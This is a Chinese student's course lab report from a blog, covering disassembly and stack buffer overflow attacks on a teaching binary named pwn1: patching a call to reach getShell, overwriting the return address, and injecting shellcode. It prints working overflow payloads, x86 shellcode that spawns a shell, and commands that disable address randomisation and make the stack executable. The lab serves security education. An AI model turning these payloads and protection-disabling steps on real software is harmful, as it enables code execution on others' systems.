20212405 2023-2024-2 《网络与系统攻防技术》实验1实验报告

本文详细描述了一次关于反汇编和缓冲区溢出攻击的实验,涉及的知识点包括反汇编过程、缓冲区溢出原理、函数调用机制、使用工具如十六进制编程器和gdb,以及实际操作中的实验步骤和遇到的问题解决。
摘要由CSDN通过智能技术生成

一、实验知识

1.反汇编

这学期在这门课第一次听说了反汇编,那么反汇编是什么呢?反汇编是指把目标代码转为汇编代码的过程,比如这次实验中的任务就是把一个可执行文件pwn通过反汇编,转换成汇编语言。这个过程需要反汇编命令和一个辅助工具——十六进制编程器。十六进制编程器的作用就是来修改比如反汇编得到的地址消息等。

2.缓冲区溢出

实验任务中提到的BOF,即buffer overflow,缓冲区溢出。解释这个知识需要先搞明白函数的调用过程。有几个名词:eip,ebp,esp会频繁地出现:eip是指令指针寄存器,用于存储下一条将要执行的指令的内存地址;ebp是基址指针寄存器,用于指向当前函数的栈帧的底部;esp是栈指针寄存器,用于指向当前栈顶的位置。当程序中某处需要执行一个函数时,就会发生函数调用。这个调用是通过call指令来实现的。call指令的作用是将当前指令的下一条指令的地址,也就是eip压入调用栈中,并将程序的控制权转移到被调用函数的入口地址。在prologue中,通常会保存当前栈帧的基址指针也就是ebp,以便在函数内部访问局部变量和参数。最后一步就是return:将esp,ebppush前的返回地址赋值给eip。BOF是指当缓冲区发生溢出后,我们可以指定一个返回地址来让eip跳转,这样就可以实现这个地址上的函数。这次实验中的 BOF是指先计算出能够覆盖eip的字符串长度,然后再用反汇编找到getshell的地址,再将其写入覆盖eip上的那串字符串就可以;后续的一个注入shellcode的攻击是需要先编写shellcode然后再构造payload,把覆盖部分改为shellcode的地址。

二、实验准备

1.安装kali虚拟机

就是在网上找到教程下载kali镜像,然后在vmware中创建一个kali的虚拟机就可以,再将实验所需pwn文件下载到桌面就可以。在这里借鉴了同学的做法,就是将文件放到一个文件夹中,就可以缩短路径。

2.一些指令

其实这一步我没有准备,到了实验的时候才特别的折磨。我的版本不知道怎么回事,在下载指令或者包的时候出了很大问题,几乎就没有一个下载的任务比较顺利的。后来和同学交流发现可以直接换国内源,这样包和指令或者功能之类的都很全,也算是让我长个经验教训吧。

三、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

四、实验过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先进入pwn1所在目录,使用反汇编命令objdump -d pwn1,对pwn1反汇编,找到getshell,main,foo的地址如图:
在这里插入图片描述
在main函数中,e8的机器码代表call,那么也就是说执行到这里就会跳转到eip中下一条指令地址再加上e8后面的d7ffffff,还要将d7ffffff从补码变一下,也就是80484ba-29,那么计算出来的这个地址8048491是foo的地址,所以要跳转到getshell,就是将d7fffff改成c3ffffff就行(这一步看到了老师的计算视频)。
接下来需要使用十六进制编辑器来进行d7到c3的改变。因为涉及到后续还有任务,所以我们copy一份pwn来进行操作。使用vi pwn2来进行编辑,Esc键后在最后一行使用:%!xxd命令就可以切换至16进制模式,然后进行修改。这里出现了第一个问题就是我的xxd命令就是安装不好,我在网上查找了几种方法都没有得到解决,差点就要换镜像源了,后来在老师的帮助下成功安装(合十)。修改完了之后使用:%!xxd -r转换为原来的样子,然后保存即可,可以通过再次反汇编看到修改成功:在这里插入图片描述
看到已经修改为c3,然后使用命令./pwn2来看能否调用getshell函数:
在这里插入图片描述
如图,成功调用了getshell,本任务完成。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

说实话这个任务我是看着老师的指导视频来做的,我尽量试着用语言再详细地描述一下实验过程(因为当时也是反复看了好几遍才跟上)。
首先通过gdb调试pwn1利来测试覆盖到返回地址需要多少个字符,并且哪几个字符覆盖到了返回地址。在这里我开始没弄明白出现info r的原理,输入的字符串不够长,所以显示不了,这一步问了老师之后得到了解决。然后我按照老师的示例进行操作,输入字符串“1111111122222222333333334444444455555555”,输入“info r”查看。
在这里插入图片描述
eip的值是ASCLL5(但这个我还没太搞清楚,打算再和同学问问是怎么看出来的)。然后把8个5换成不同的数字来确定到底是哪几个会覆盖,输入字符串“1111111122222222333333334444444412345678”,然后查看:
在这里插入图片描述
这里要看eip,可知1234会覆盖到返回地址,那么接下来确定一个值改在这里就可以使其跳转到getshell的地址了。之前的实验中getshell的地址是0804847,1234会让eip的值编程34333231,那么我们就得出了要输入的字符串:“11111111222222223333333344444444\x7d\x84\x04\x08”。
在这里插入图片描述
得出了字符串之后我们来构造,这里使用到了管道将文件存储的字符串输给pwn。使用命令:perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input来生成这个存储字符串的文件,然后使用“xxd input”查看input内的构造字符串是否正确,检查后使用“(cat input; cat) | ./pwn1”来将其输入给pwn1:
在这里插入图片描述
可以看到执行了getshell,本任务成功。

3.注入一个自己制作的shellcode并运行这段shellcode。

准备工作
修改些设置。这部分的解释请看第5小节Bof攻击防御技术.

root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo “0” > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
如图所示:
在这里插入图片描述
在这里插入图片描述
这里的指令和功能安装遇到了很大问题,我会在问题部分再详细说明,并附上参考资料。
接下来就是根据老师的指导视频进行操作:首先用perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_shellcode上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。然后用(cat input_shellcode;cat) | ./pwn1注入这个payload。
在这里插入图片描述
然后打开另一个终端用gdb进行调试,输入ps -ef | grep pwn1后找到了进程号是196129。然后启动调试,attach进程号。 通过设置断点,来查看注入buf的内存地址:disassemble foo,然后输入break *0x080484ae,在原来的终端按下回车,再回到现在的gdb终端,输入c。这一步的步骤千万不能错,我就是弄错了操作顺序然后又重做了一次,随后说明。
在这里插入图片描述
然后启动调试,attach进程号。 通过设置断点,来查看注入buf的内存地址:disassemble foo,然后输入break *0x080484ae,在原来的终端按下回车,再回到现在的gdb终端,输入c。这一步的步骤千万不能错,我就是弄错了操作顺序然后又重做了一次,随后说明。
接下来输入“info r esp”,得知esp当前栈顶指针是“0xffffcffc”,从这个地址开始找。
在这里插入图片描述
然后看实验指导书跟着做了一遍发现确实有坑,我后面就直接说成功的另一种情况吧,就是用anything+retaddr+nops+shellcode结构。首先根据retaddr的位置构造payload,我的计算结果是如图:
在这里插入图片描述
得出:“perl -e ‘print “A” x 32;print “\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xe0\xcf\xff\xff\x00”’ > input_shellcode”,再输入“xxd input_shellcode”查看字符串正确。再输入“(cat input_shellcode;cat) | ./pwn1”注入shellcode。
在这里插入图片描述
在这里插入图片描述
这里成功运行了shellcode,本任务完成(但我没搞懂为啥应该先敲一个回车,出了一行乱码之后再一个回车才看到运行了shellcode)

五、实验的问题

我觉得本次实验最大的问题就是各种命令和功能的下载很痛苦,操作的话跟着老师视频和指导书做只要细心是不会有什么大问题的。当然gdb调试那里我搞反了操作顺序,这是错误操作:
在这里插入图片描述
于是就呈现了如下的效果:
在这里插入图片描述
就是太着急没有仔细读老师给出的操作顺序,然后发现显示的不对所以又做了一遍。
下载的问题主要卡在execstack这里,我用了同学给我的一个链接换了包:
在这里插入图片描述
其余的大坑没什么了,就是pwn需要先解压再放桌面上不然不可执行,这个是我问了同学的,所以就能避开。

六、实验感想

哈哈终于写到这里了,这个实验可以说做的太痛苦了,光是看视频学操作就做了一天半,然后又要复盘一遍写博客。我觉的老师说的很对,操作对没什么,重要的是理解。其实做完了实验我也还有一些步骤没能完全理解是什么意思。我觉得缓冲区溢出这个概念我们从大二下学期就接触了,时隔一年从运行原理的角度来进行实操会对我们有很大的提升。说实话这一部分我确实学的很费劲,涉及到我不熟悉的虚拟指令和各种函数调用流程,还有就是看一些机器指令,反汇编也给我展示了一个全新的视角,确实是我都没见识过的知识点。我觉得还是应该先搞清原理再跟着视频做,不然也不至于一个地方翻来覆去的听不懂,也希望这次给我的教训能让我之后治学严谨,以后的实验有些长进别再这么费力了。

七、参考链接:

https://blog.csdn.net/weixin_43729943/article/details/104221462

  • 37
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值